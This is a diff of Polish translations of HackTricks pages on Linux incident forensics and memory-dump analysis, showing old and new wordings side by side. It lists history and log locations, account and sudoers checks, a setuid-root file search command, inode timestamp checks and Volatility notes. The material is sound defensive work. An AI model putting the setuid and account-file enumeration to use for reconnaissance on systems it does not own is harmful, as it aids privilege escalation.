Dzienniki systemowe i podsystemy audytu Linux mogą być wyłączone lub usunięte w przypadku włamania lub incydentu związanego z złośliwym oprogramowaniem. Ponieważ dzienniki w systemach Linux zazwyczaj zawierają najbardziej przydatne informacje o działaniach złośliwych, intruzi rutynowo je usuwają. Dlatego podczas analizy dostępnych plików dziennika ważne jest sprawdzenie luk lub nieuporządkowanych wpisów, które mogą wskazywać na usunięcie lub manipulację.
|
||||
Logi systemowe Linuksa i podsystemy audytu mogą być wyłączone lub usunięte w przypadku naruszenia lub incydentu złośliwego oprogramowania. Ponieważ logi w systemach Linuksa zazwyczaj zawierają jedne z najbardziej użytecznych informacji o złośliwych działaniach, intruzi rutynowo je usuwają. Dlatego, przeglądając dostępne pliki logów, ważne jest, aby szukać luk lub nieuporządkowanych wpisów, które mogą wskazywać na usunięcie lub manipulację.
|
||||
{% endhint %}
|
||||
|
||||
**Linux przechowuje historię poleceń dla każdego użytkownika**, zapisaną w:
|
||||
**Linux utrzymuje historię poleceń dla każdego użytkownika**, przechowywaną w:
|
||||
|
||||
- \~/.bash\_history
|
||||
- \~/.zsh\_history
|
||||
- \~/.zsh\_sessions/\*
|
||||
- \~/.python\_history
|
||||
- \~/.\*\_history
|
||||
* \~/.bash\_history
|
||||
* \~/.zsh\_history
|
||||
* \~/.zsh\_sessions/\*
|
||||
* \~/.python\_history
|
||||
* \~/.\*\_history
|
||||
|
||||
Ponadto polecenie `last -Faiwx` dostarcza listę logowań użytkowników. Sprawdź go pod kątem nieznanych lub nieoczekiwanych logowań.
|
||||
Ponadto, polecenie `last -Faiwx` dostarcza listę logowań użytkowników. Sprawdź je pod kątem nieznanych lub nieoczekiwanych logowań.
|
||||
|
||||
Sprawdź pliki, które mogą przyznać dodatkowe uprawnienia:
|
||||
|
||||
- Przejrzyj `/etc/sudoers` w poszukiwaniu nieoczekiwanych uprawnień użytkownika, które mogły zostać przyznane.
|
||||
- Przejrzyj `/etc/sudoers.d/` w poszukiwaniu nieoczekiwanych uprawnień użytkownika, które mogły zostać przyznane.
|
||||
- Sprawdź `/etc/groups`, aby zidentyfikować niezwykłe przynależności do grup lub uprawnienia.
|
||||
- Sprawdź `/etc/passwd`, aby zidentyfikować niezwykłe przynależności do grup lub uprawnienia.
|
||||
* Przejrzyj `/etc/sudoers` w poszukiwaniu nieprzewidzianych uprawnień użytkowników, które mogły zostać przyznane.
|
||||
* Przejrzyj `/etc/sudoers.d/` w poszukiwaniu nieprzewidzianych uprawnień użytkowników, które mogły zostać przyznane.
|
||||
* Zbadaj `/etc/groups`, aby zidentyfikować wszelkie nietypowe członkostwa grupowe lub uprawnienia.
|
||||
* Zbadaj `/etc/passwd`, aby zidentyfikować wszelkie nietypowe członkostwa grupowe lub uprawnienia.
|
||||
|
||||
Niektóre aplikacje generują również swoje własne dzienniki:
|
||||
Niektóre aplikacje również generują własne logi:
|
||||
|
||||
- **SSH**: Sprawdź _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ w poszukiwaniu nieautoryzowanych połączeń zdalnych.
|
||||
- **Pulpit Gnome**: Sprawdź _\~/.recently-used.xbel_ w poszukiwaniu niedawno używanych plików za pomocą aplikacji Gnome.
|
||||
- **Firefox/Chrome**: Sprawdź historię przeglądarki i pobierane pliki w _\~/.mozilla/firefox_ lub _\~/.config/google-chrome_ w poszukiwaniu podejrzanych aktywności.
|
||||
- **VIM**: Przejrzyj _\~/.viminfo_ w poszukiwaniu szczegółów dotyczących użytkowania, takich jak ścieżki dostępu do plików i historia wyszukiwania.
|
||||
- **Open Office**: Sprawdź ostatni dostęp do dokumentów, który może wskazywać na skompromitowane pliki.
|
||||
- **FTP/SFTP**: Przejrzyj dzienniki w _\~/.ftp\_history_ lub _\~/.sftp\_history_ w poszukiwaniu transferów plików, które mogą być nieautoryzowane.
|
||||
- **MySQL**: Zbadaj _\~/.mysql\_history_ w poszukiwaniu wykonanych zapytań MySQL, potencjalnie ujawniających nieautoryzowane działania w bazie danych.
|
||||
- **Less**: Analizuj _\~/.lesshst_ w poszukiwaniu historii użytkowania, w tym przeglądanych plików i wykonanych poleceń.
|
||||
- **Git**: Sprawdź _\~/.gitconfig_ i projekt _.git/logs_ w poszukiwaniu zmian w repozytoriach.
|
||||
* **SSH**: Sprawdź _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ w poszukiwaniu nieautoryzowanych połączeń zdalnych.
|
||||
* **Gnome Desktop**: Zajrzyj do _\~/.recently-used.xbel_ w poszukiwaniu ostatnio otwieranych plików za pomocą aplikacji Gnome.
|
||||
* **Firefox/Chrome**: Sprawdź historię przeglądarki i pobierania w _\~/.mozilla/firefox_ lub _\~/.config/google-chrome_ w poszukiwaniu podejrzanych działań.
|
||||
* **VIM**: Przejrzyj _\~/.viminfo_ w poszukiwaniu szczegółów użycia, takich jak ścieżki otwieranych plików i historia wyszukiwania.
|
||||
* **Open Office**: Sprawdź dostęp do ostatnich dokumentów, co może wskazywać na skompromitowane pliki.
|
||||
* **FTP/SFTP**: Przejrzyj logi w _\~/.ftp\_history_ lub _\~/.sftp\_history_ w poszukiwaniu transferów plików, które mogą być nieautoryzowane.
|
||||
* **MySQL**: Zbadaj _\~/.mysql\_history_ w poszukiwaniu wykonanych zapytań MySQL, co może ujawnić nieautoryzowane działania w bazie danych.
|
||||
* **Less**: Analizuj _\~/.lesshst_ w poszukiwaniu historii użycia, w tym przeglądanych plików i wykonanych poleceń.
|
||||
* **Git**: Sprawdź _\~/.gitconfig_ i projekt _.git/logs_ w poszukiwaniu zmian w repozytoriach.
|
||||
|
||||
### Dzienniki USB
|
||||
### Logi USB
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) to niewielkie oprogramowanie napisane w czystym Pythonie 3, które analizuje pliki dziennika systemu Linux (`/var/log/syslog*` lub `/var/log/messages*` w zależności od dystrybucji) w celu tworzenia tabel historii zdarzeń USB.
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) to mały program napisany w czystym Pythonie 3, który analizuje pliki logów Linuksa (`/var/log/syslog*` lub `/var/log/messages*` w zależności od dystrybucji) w celu skonstruowania tabel historii zdarzeń USB.
|
||||
|
||||
Interesujące jest **poznanie wszystkich używanych urządzeń USB** i będzie to bardziej przydatne, jeśli masz autoryzowaną listę urządzeń USB do znalezienia "zdarzeń naruszenia" (użycie urządzeń USB, które nie znajdują się na tej liście).
|
||||
Interesujące jest **znalezienie wszystkich używanych USB** i będzie to bardziej przydatne, jeśli masz autoryzowaną listę USB, aby znaleźć "zdarzenia naruszenia" (użycie USB, które nie znajduje się na tej liście).
|
||||
|
||||
### Instalacja
|
||||
```bash
|
||||
|
@ -335,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
|
|||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
Więcej przykładów i informacji znajdziesz na githubie: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
Więcej przykładów i informacji w repozytorium github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Korzystaj z [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społeczności.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
|
||||
|
||||
## Przejrzyj Konta Użytkowników i Aktywności Logowania
|
||||
## Przeglądaj konta użytkowników i aktywności logowania
|
||||
|
||||
Sprawdź pliki _**/etc/passwd**_, _**/etc/shadow**_ oraz **dzienniki bezpieczeństwa** pod kątem nietypowych nazw lub kont utworzonych i/lub używanych w pobliżu znanych nieautoryzowanych zdarzeń. Sprawdź również możliwe ataki brute-force na sudo.\
|
||||
Dodatkowo, sprawdź pliki takie jak _**/etc/sudoers**_ i _**/etc/groups**_ pod kątem nieoczekiwanych uprawnień nadanych użytkownikom.\
|
||||
Na koniec, poszukaj kont bez **hasła** lub z łatwo **odgadnialnymi** hasłami.
|
||||
Sprawdź _**/etc/passwd**_, _**/etc/shadow**_ i **dzienniki zabezpieczeń** pod kątem nietypowych nazw lub kont utworzonych i/lub używanych w bliskiej odległości od znanych nieautoryzowanych zdarzeń. Sprawdź również możliwe ataki brute-force na sudo.\
|
||||
Ponadto sprawdź pliki takie jak _**/etc/sudoers**_ i _**/etc/groups**_ pod kątem nieoczekiwanych uprawnień przyznanych użytkownikom.\
|
||||
Na koniec poszukaj kont z **brakującymi hasłami** lub **łatwymi do odgadnięcia** hasłami.
|
||||
|
||||
## Zbadaj System Plików
|
||||
## Zbadaj system plików
|
||||
|
||||
### Analiza Struktur Systemu Plików w Śledztwie w Sprawie Malware
|
||||
### Analiza struktur systemu plików w badaniach nad złośliwym oprogramowaniem
|
||||
|
||||
Podczas dochodzenia w sprawie incydentów związanych z malware, struktura systemu plików jest kluczowym źródłem informacji, ujawniającym zarówno sekwencję zdarzeń, jak i zawartość malware. Autorzy malware rozwijają jednak techniki utrudniające tę analizę, takie jak modyfikowanie znaczników czasowych plików lub unikanie systemu plików do przechowywania danych.
|
||||
Podczas badania incydentów związanych z złośliwym oprogramowaniem, struktura systemu plików jest kluczowym źródłem informacji, ujawniającym zarówno sekwencję zdarzeń, jak i zawartość złośliwego oprogramowania. Jednak autorzy złośliwego oprogramowania opracowują techniki, aby utrudnić tę analizę, takie jak modyfikowanie znaczników czasu plików lub unikanie systemu plików do przechowywania danych.
|
||||
|
||||
Aby przeciwdziałać tym antyforensycznym metodom, istotne jest:
|
||||
Aby przeciwdziałać tym metodom antyforensycznym, istotne jest:
|
||||
|
||||
* **Przeprowadzenie dokładnej analizy chronologicznej** za pomocą narzędzi takich jak **Autopsy** do wizualizacji chronologii zdarzeń lub `mactime` z **Sleuth Kit** do uzyskania szczegółowych danych chronologicznych.
|
||||
* **Zbadanie nieoczekiwanych skryptów** w $PATH systemu, które mogą zawierać skrypty powłoki lub PHP używane przez atakujących.
|
||||
* **Sprawdzenie `/dev` pod kątem nietypowych plików**, ponieważ tradycyjnie zawiera on pliki specjalne, ale może zawierać pliki związane z malware.
|
||||
* **Wyszukiwanie ukrytych plików lub katalogów** o nazwach takich jak ".. " (kropka kropka spacja) lub "..^G" (kropka kropka control-G), które mogą ukrywać złośliwe treści.
|
||||
* **Identyfikacja plików ustawionych jako setuid root** za pomocą polecenia: `find / -user root -perm -04000 -print` Znajduje pliki z podwyższonymi uprawnieniami, które mogą być wykorzystane przez atakujących.
|
||||
* **Przejrzenie znaczników czasu usuwania** w tabelach inode, aby wykryć masowe usunięcia plików, co może wskazywać na obecność rootkitów lub trojanów.
|
||||
* **Sprawdzenie kolejnych inode'ów** w poszukiwaniu pobliskich złośliwych plików po zidentyfikowaniu jednego, ponieważ mogły zostać umieszczone razem.
|
||||
* **Sprawdzenie wspólnych katalogów binarnych** (_/bin_, _/sbin_) pod kątem niedawno zmodyfikowanych plików, ponieważ mogły zostać zmienione przez malware.
|
||||
* **Przeprowadzenie dokładnej analizy osi czasu** przy użyciu narzędzi takich jak **Autopsy** do wizualizacji osi czasu zdarzeń lub `mactime` z **Sleuth Kit** do szczegółowych danych osi czasu.
|
||||
* **Zbadanie nieoczekiwanych skryptów** w $PATH systemu, które mogą obejmować skrypty shell lub PHP używane przez atakujących.
|
||||
* **Sprawdzenie `/dev` pod kątem nietypowych plików**, ponieważ tradycyjnie zawiera pliki specjalne, ale może zawierać pliki związane z złośliwym oprogramowaniem.
|
||||
* **Wyszukiwanie ukrytych plików lub katalogów** o nazwach takich jak ".. " (kropka kropka spacja) lub "..^G" (kropka kropka kontrola-G), które mogą ukrywać złośliwą zawartość.
|
||||
* **Identyfikacja plików setuid root** za pomocą polecenia: `find / -user root -perm -04000 -print` To znajduje pliki z podwyższonymi uprawnieniami, które mogą być nadużywane przez atakujących.
|
||||
* **Przeglądanie znaczników czasu usunięcia** w tabelach inode, aby dostrzec masowe usunięcia plików, co może wskazywać na obecność rootkitów lub trojanów.
|
||||
* **Inspekcja kolejnych inode** w poszukiwaniu pobliskich złośliwych plików po zidentyfikowaniu jednego, ponieważ mogły zostać umieszczone razem.
|
||||
* **Sprawdzenie wspólnych katalogów binarnych** (_/bin_, _/sbin_) pod kątem niedawno zmodyfikowanych plików, ponieważ mogły zostać zmienione przez złośliwe oprogramowanie.
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
@ -375,63 +376,63 @@ ls -laR --sort=time /bin```
|
|||
ls -lai /bin | sort -n```
|
||||
````
|
||||
{% hint style="info" %}
|
||||
Zauważ, że **atakujący** może **zmodyfikować** **czas**, aby **pliki wydawały się** **legitymacyjne**, ale nie może zmienić **inode**. Jeśli zauważysz, że **plik** wskazuje, że został utworzony i zmodyfikowany o **tej samej godzinie** co reszta plików w tym samym folderze, ale **inode** jest **niespodziewanie większy**, to **znaczy, że znaczniki czasu tego pliku zostały zmodyfikowane**.
|
||||
Zauważ, że **atakujący** może **zmodyfikować** **czas**, aby **pliki wyglądały** **na legalne**, ale **nie może** zmienić **inode**. Jeśli odkryjesz, że **plik** wskazuje, że został utworzony i zmodyfikowany w **tym samym czasie** co reszta plików w tym samym folderze, ale **inode** jest **niespodziewanie większy**, to **znaczniki czasu tego pliku zostały zmodyfikowane**.
|
||||
{% endhint %}
|
||||
|
||||
## Porównywanie plików różnych wersji systemu plików
|
||||
## Porównaj pliki różnych wersji systemu plików
|
||||
|
||||
### Podsumowanie porównania wersji systemu plików
|
||||
|
||||
Aby porównać wersje systemu plików i zlokalizować zmiany, używamy uproszczonych poleceń `git diff`:
|
||||
|
||||
* **Aby znaleźć nowe pliki**, porównaj dwie katalogi:
|
||||
* **Aby znaleźć nowe pliki**, porównaj dwa katalogi:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
* **Dla zmodyfikowanej zawartości**, wymień zmiany, ignorując konkretne linie:
|
||||
* **Dla zmodyfikowanej treści**, wymień zmiany, ignorując konkretne linie:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
* **Wykrywanie usuniętych plików**:
|
||||
* **Aby wykryć usunięte pliki**:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
* **Opcje filtrowania** (`--diff-filter`) pomagają zawęzić wyniki do konkretnych zmian, takich jak dodane (`A`), usunięte (`D`) lub zmodyfikowane (`M`) pliki.
|
||||
* **Opcje filtru** (`--diff-filter`) pomagają zawęzić zmiany do konkretnych, takich jak dodane (`A`), usunięte (`D`) lub zmodyfikowane (`M`) pliki.
|
||||
* `A`: Dodane pliki
|
||||
* `C`: Skopiowane pliki
|
||||
* `D`: Usunięte pliki
|
||||
* `M`: Zmodyfikowane pliki
|
||||
* `R`: Zmienione nazwy plików
|
||||
* `T`: Zmiany typu (np. plik na symlink)
|
||||
* `U`: Niescalone pliki
|
||||
* `U`: Niezłączone pliki
|
||||
* `X`: Nieznane pliki
|
||||
* `B`: Uszkodzone pliki
|
||||
|
||||
## Odnośniki
|
||||
## Odniesienia
|
||||
|
||||
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
|
||||
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
||||
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
* **Książka: Przewodnik po śledzeniu malware dla systemów Linux: Przewodniki po śledzeniu cyfrowym**
|
||||
* **Książka: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hackowania AWS od podstaw do mistrza z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz, aby Twoja **firma była reklamowana w HackTricks**? A może chcesz mieć dostęp do **najświeższej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
**Podziel się swoimi sztuczkami hackingowymi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społeczności na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
|
||||
|
|
|
@ -1,69 +1,75 @@
|
|||
# Analiza zrzutu pamięci
|
||||
# Analiza zrzutów pamięci
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij naukę hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres stanowi gorące miejsce spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
|
||||
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów z technologii i cyberbezpieczeństwa w każdej dziedzinie.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Rozpocznij
|
||||
## Początek
|
||||
|
||||
Zacznij **szukać** **złośliwego oprogramowania** w pliku pcap. Użyj **narzędzi** wymienionych w [**Analizie złośliwego oprogramowania**](../malware-analysis.md).
|
||||
Zacznij **szukać** **złośliwego oprogramowania** w pcap. Użyj **narzędzi** wymienionych w [**Analiza złośliwego oprogramowania**](../malware-analysis.md).
|
||||
|
||||
## [Volatility](volatility-cheatsheet.md)
|
||||
|
||||
**Volatility to główny otwarty framework do analizy zrzutów pamięci**. To narzędzie napisane w Pythonie analizuje zrzuty zewnętrznych źródeł lub maszyn wirtualnych VMware, identyfikując dane takie jak procesy i hasła na podstawie profilu systemu operacyjnego zrzutu. Jest rozszerzalny za pomocą wtyczek, co czyni go bardzo wszechstronnym narzędziem do śledztw sądowych.
|
||||
**Volatility to główna otwarta platforma do analizy zrzutów pamięci**. To narzędzie Python analizuje zrzuty z zewnętrznych źródeł lub maszyn wirtualnych VMware, identyfikując dane takie jak procesy i hasła na podstawie profilu systemu operacyjnego zrzutu. Jest rozszerzalne za pomocą wtyczek, co czyni je bardzo wszechstronnym w dochodzeniach kryminalistycznych.
|
||||
|
||||
[Znajdź tutaj ściągawkę](volatility-cheatsheet.md)
|
||||
[**Znajdź tutaj arkusz skrótów**](volatility-cheatsheet.md)
|
||||
|
||||
## Raport z awarii mini zrzutu pamięci
|
||||
## Raport o awarii mini zrzutu
|
||||
|
||||
Gdy zrzut jest mały (tylko kilka KB, może kilka MB), prawdopodobnie jest to raport z awarii mini zrzutu pamięci, a nie zrzut pamięci.
|
||||
Gdy zrzut jest mały (zaledwie kilka KB, może kilka MB), to prawdopodobnie jest to raport o awarii mini zrzutu, a nie zrzut pamięci.
|
||||
|
||||
![](<../../../.gitbook/assets/image (532).png>)
|
||||
|
||||
Jeśli masz zainstalowany Visual Studio, możesz otworzyć ten plik i uzyskać podstawowe informacje, takie jak nazwa procesu, architektura, informacje o wyjątku i moduły wykonywane:
|
||||
Jeśli masz zainstalowany Visual Studio, możesz otworzyć ten plik i powiązać podstawowe informacje, takie jak nazwa procesu, architektura, informacje o wyjątkach i moduły, które są wykonywane:
|
||||
|
||||
![](<../../../.gitbook/assets/image (263).png>)
|
||||
|
||||
Możesz także załadować wyjątek i zobaczyć zdekompilowane instrukcje
|
||||
Możesz również załadować wyjątek i zobaczyć zdekompilowane instrukcje
|
||||
|
||||
![](<../../../.gitbook/assets/image (142).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (610).png>)
|
||||
|
||||
W każdym razie Visual Studio nie jest najlepszym narzędziem do przeprowadzenia analizy głębokości zrzutu.
|
||||
W każdym razie, Visual Studio nie jest najlepszym narzędziem do przeprowadzenia analizy głębokości zrzutu.
|
||||
|
||||
Powinieneś go **otworzyć** za pomocą **IDA** lub **Radare** w celu dokładnej **inspekcji**.
|
||||
Powinieneś **otworzyć** go za pomocą **IDA** lub **Radare**, aby zbadać go w **głębi**.
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres stanowi gorące miejsce spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
|
||||
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów z technologii i cyberbezpieczeństwa w każdej dziedzinie.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij naukę hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
